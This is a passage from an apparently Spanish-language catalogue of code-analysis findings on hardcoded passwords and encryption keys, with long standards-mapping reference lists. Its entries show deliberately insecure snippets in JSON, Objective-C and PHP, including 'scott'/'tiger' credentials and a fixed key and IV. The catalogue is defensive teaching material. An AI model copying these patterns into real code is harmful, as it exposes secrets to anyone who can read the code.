[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_hardcoded_encryption_key
Abstract
Las contraseñas codificadas pueden poner en riesgo la seguridad del sistema de una forma que es difícil resolver.
Explanation
Nunca codifique de forma rígida contraseñas. No solo expone la contraseña a todos los desarrolladores del proyecto, sino que también hace que sea extremadamente difícil solucionar el problema. Una vez que el código está en fase de producción, seguramente se requiera una revisión del programa para cambiar la contraseña. Si la cuenta protegida por la contraseña se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.
Ejemplo 1: El JSON siguiente utiliza una contraseña con codificación rígida:


...
{
"username":"scott"
"password":"tiger"
}
...


Esta configuración puede ser válida, pero cualquiera que tenga acceso a la configuración lo tendrá también a la contraseña. Una vez que se ha lanzado el programa, cambiar la cuenta de usuario por defecto "scott" con una contraseña "tiger" es difícil. Cualquier persona con acceso a esta información podría utilizarla para irrumpir en el sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.json.password_management_hardcoded_password
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida podrían poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea aplicar codificación rígida a una clave de cifrado. La codificación rígida de una clave de cifrado no solo permite que todos los desarrolladores de proyectos vean la clave de cifrado, sino que además dificulta la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.
Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida para cifrar la información:


...
$encryption_key = 'hardcoded_encryption_key';

//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...


Este código se ejecutará correctamente, pero cualquier usuario que tenga acceso al mismo tendrá acceso a la clave de cifrado. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave de cifrado codificada ('hardcoded_encryption_key'), a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer los datos cifrados por el sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.



Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
